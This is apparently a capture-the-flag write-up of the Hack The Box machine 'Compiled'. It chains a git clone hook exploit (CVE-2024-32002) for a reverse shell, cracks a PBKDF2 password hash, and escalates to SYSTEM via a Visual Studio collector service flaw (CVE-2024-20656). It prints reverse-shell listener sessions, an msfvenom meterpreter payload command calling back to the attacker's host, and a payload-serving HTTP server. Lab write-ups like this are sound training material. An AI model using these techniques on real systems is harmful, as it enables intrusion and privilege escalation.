Compiled is a medium-difficulty machine from Hack The Box . It’s pretty straight forward as it deals directly with 2 CVEs from the year 2024 in order to pwn it. Initially we’ll deal with CVE-2024-32002 which is a git-rce exploit allowing you to abuse git clone to expose .git/ directory to git’s execution context. Later exploiting CVE-2024-20656 which will abuse VSCode’s VSStandardCollectorService150 service -setup by default as NT AUTHORITY\SYSTEM- to get our privileged shell. Hope you enjoy it! Compiled-info-card
PS C:\Users\0xkujen> nmap -A-Pn10.129.253.115 Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-1315:40 W. Central Africa Standard Time Nmap scan report for10.129.253.115 Host is up (1.6s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 3000/tcp open http Golang net/http server | fingerprint-strings: | GenericLines, Help, RTSPRequest: | HTTP/1.1400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0200 OK | Cache-Control: max-age=0, private, must-revalidate, no-transform | Content-Type: text/html; charset=utf-8 | Set-Cookie: i_like_gitea=f629d85303be2590; Path=/; HttpOnly; SameSite=Lax | Set-Cookie: _csrf=3H-4uwqM0T21f96Y2AnD3O-Vdco6MTczNDEwMTM3NDY0NDIzNzMwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Fri, 13 Dec 202414:49:34 GMT | <!DOCTYPE html> | <html lang="en-US"class="theme-arc-green"> | <head> | <metaname="viewport" content="width=device-width, initial-scale=1"> | <title>Git</title> | <linkrel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA | HTTPOptions: | HTTP/1.0 405 MethodNotAllowed | Allow: HEAD | Allow: HEAD | Allow: GET | Cache-Control: max-age=0, private, must-revalidate, no-transform | Set-Cookie: i_like_gitea=1f26abc6f135dbd0; Path=/; HttpOnly; SameSite=Lax | Set-Cookie: _csrf=OvRjhGVT_QhYWSN-YXNnKLl5mBI6MTczNDEwMTM3ODc0MjY0ODgwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Fri, 13 Dec 2024 14:49:38 GMT |_ Content-Length: 0 |_http-title: Git 5000/tcpopenhttpWerkzeughttpd 3.0.3 (Python 3.12.3) |_http-server-header: Werkzeug/3.0.3 Python/3.12.3 |_http-title: Compiled - CodeCompilingServices 1 serviceunrecognizeddespitereturningdata. Ifyouknowtheservice/version, pleasesubmitthefollowingfingerprintathttps://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3000-TCP:V=7.95%I=7%D=12/13%Time=675C4815%P=i686-pc-windows-windows <snip> Servicedetectionperformed. Pleasereportanyincorrectresultsathttps://nmap.org/submit/ . Nmapdone: 1 IPaddress (1 hostup) scannedin 263.07 seconds
We can see that we have ports 22 (ssh), 5000 (http) and 3000(http) open. Port 3000 seems like the backend since it’s running on golang and port 5000 seems like the frontend since its running python’s werkzeug. Let’s discover!
We can see that we could enter a specific Git repo URL and it will get compiled by the application. Sus, right?! When I first pwned the machine I spent a lot of time on this feature. However I got nowhere.
You can put whatever you want into the pos-checkout file as your reverse shell script. I just usually use The powershell Base64 payload from revshells.com . You might do that as well :) We execute this payload:
kujen@kujen:~$ ./exploit.sh Cloning into 'repo1'... warning: You appear to have cloned an empty repository. [main (root-commit) c5d01ff] post-checkout 1 file changed, 2 insertions(+) create mode 100755 y/hooks/post-checkout kUsername for'http://gitea.compiled.htb:3000':kujen Password for'http://[email protected]:3000': Enumerating objects: 5, done. Counting objects: 100% (5/5), done. Delta compression using up to 16 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (5/5), 910 bytes | 910.00 KiB/s, done. Total 5 (delta 0), reused 0 (delta 0), pack-reused 0 remote: . Processing 1 references remote: Processed 1 references in total To http://gitea.compiled.htb:3000/kujen/repo1.git * [new branch] main -> main Cloning into 'repo2'... remote: Enumerating objects: 3, done. remote: Counting objects: 100% (3/3), done. remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0) Receiving objects: 100% (3/3), done. Cloning into '/home/kujen/repo2/A/modules/x'... remote: Enumerating objects: 5, done. remote: Counting objects: 100% (5/5), done. remote: Compressing objects: 100% (2/2), done. remote: Total 5 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0) Receiving objects: 100% (5/5), done. [main bf81e43] add-submodule 2 files changed, 4 insertions(+) create mode 100644 .gitmodules create mode 160000 A/modules/x On branch main Your branch is ahead of 'origin/main' by 1 commit. (use "git push" to publish your local commits)
Untracked files: (use "git add <file>..." to include in what will be committed) dot-git.hash dotgit.txt index.info
nothing added to commit but untracked files present (use "git add" to track) Username for'http://gitea.compiled.htb:3000': kujen Password for'http://[email protected]:3000': Enumerating objects: 6, done. Counting objects: 100% (6/6), done. Delta compression using up to 16 threads Compressing objects: 100% (3/3), done. Writing objects: 100% (5/5), 456 bytes | 456.00 KiB/s, done. Total 5 (delta 0), reused 0 (delta 0), pack-reused 0 remote: . Processing 1 references remote: Processed 1 references in total To http://gitea.compiled.htb:3000/kujen/repo2.git b6ea876..bf81e43 main -> main
Later we just need to clone the second repo which will be cloned by the system and automatically executing our code. We head over to http://compiled.htb:5000 and clone http://gitea.compiled.htb:3000/kujen/repo2.git, looking at our terminal we get a callback 8)
1 2 3 4 5 6 7
PS C:\Users\0xkujen> nc -lvnp9001 listening on [any] 9001 ... connect to [10.10.x.x] from (UNKNOWN) [10.129.253.115] 54524 whoami Richard PS C:\Users\Richard\source\cloned_repos\3l6jy\.git\modules\x>
Now as we usually do, let’s head over and check for any database credentials:
We can see that we have multiple hashes, the crackable one is EMily’s (Really lame password tho :’( ) For some reason I was not able to crack the hash using hashcat (mode 10900) due to its’ complexity. However, I did create my own decryptor for it (thanks chatgpt, really <3):
This code reads passwords from rockyou.txt, hashes each password using PBKDF2 with SHA-256, a given salt, 50,000 iterations, and a derived key length of 50 bytes. It compares each hashed password to a target hash, attempting to find the matching password. If a match is found, it prints the correct password and stops further processing. And yes, our password was the usual 12345678 :’(
[+] Running in session 0 with processfunctionCreateProcessWithLogonW() [+] Using Station\Desktop: Service-0x0-1ed32e3$\Default [+] Async process'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 1204 created in background. PS C:\program files\Gitea\data>
1 2 3 4 5 6 7 8 9 10 11 12
PS C:\Users\0xkujen> nc -lvnp4444 listening on [any] 4444 ... connect to [10.10.x.x] from (UNKNOWN) [10.129.253.115] 54568 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
Privilege Escalation to NT Authority\System - CVE-2024-20656
Taking a closer look on the machine, we can see that we have Visual Studio Code installed:
1 2 3 4 5 6 7 8 9 10 11 12 13
PS C:\program files (x86)\Microsoft Visual Studio> ls ls
Directory: C:\program files (x86)\Microsoft Visual Studio
Mode LastWriteTime Length Name --------------------------- d-----1/29/20249:07 PM 2019 d-----1/20/20241:57 AM Installer d-----1/20/20242:04 AM Shared
That directly gives me the thought of CVE-2024-20656 (especially since the machine avatar is also VSCode lol). When Visual Studio is installed with C/C++ support VSStandardCollectorService150 service is created and is configured to run as NT AUTHORITY\SYSTEM :
SERVICE_NAME: VSStandardCollectorService150 TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Common\DiagnosticsHub.Collection.Service\StandardCollector.Service.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Visual Studio Standard Collector Service 150 DEPENDENCIES : SERVICE_START_NAME : LocalSystem PS C:\program files (x86)\Microsoft Visual Studio>
This article has a great overview over the vulnerability, steps to reproduce it and we have this amazing github repo with a POC for the exploit, lessgo. Now we can clone the project => open it in Visual Studio alongside the C/C++ package installed => modify the cmd[] parameter to include the VSCode VSDiagnostics.exe executable path => C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe => Modify our reverse shell executable path on the CopyFile function line => build the project and execute our malicious code => BOOM. CVE-2024-20656
And now create a reverse shell executable using msfvenom, import all the file to the system and get our reverse shell !
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(kali㉿kali)-[~/Desktop] └─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.x.x LPORT=4455 -f exe > aaa.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 354 bytes Final size of exe file: 73802 bytes ┌──(kali㉿kali)-[~/Desktop] └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.129.253.115 - - [13/Dec/2024 18:09:35] "GET /aaa.exe HTTP/1.1" 200 - 10.129.253.115 - - [13/Dec/2024 18:09:39] "GET /Expl.exe HTTP/1.1" 200 -